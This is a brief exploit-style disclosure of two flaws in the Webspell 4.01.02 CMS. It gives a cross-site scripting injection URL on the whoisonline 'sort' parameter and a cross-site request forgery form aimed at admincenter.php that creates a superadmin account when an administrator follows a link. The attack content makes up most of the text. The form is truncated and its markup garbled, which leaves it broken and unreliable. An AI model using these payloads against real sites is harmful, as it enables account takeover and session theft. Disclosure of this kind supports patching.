########################################################################################
Webspell 4.01.02         2 Vulnerabilites     Founded by NBBN      Vendor: 
http://cms.webspell.org 
########################################################################################

1) Cross-Site Scripting Vulnerability
2) Change User Permission XSRF Vulnerability




1)

[xss">http://site.tld/path/index.php?site=whoisonline&sort=">[xss code] 










2)

This creates a superadmin account, when an admin click a link, to a site with 
the following code:







action="http://site.tld/webspell/admin/admincenter.php?site=members" 
method="POST">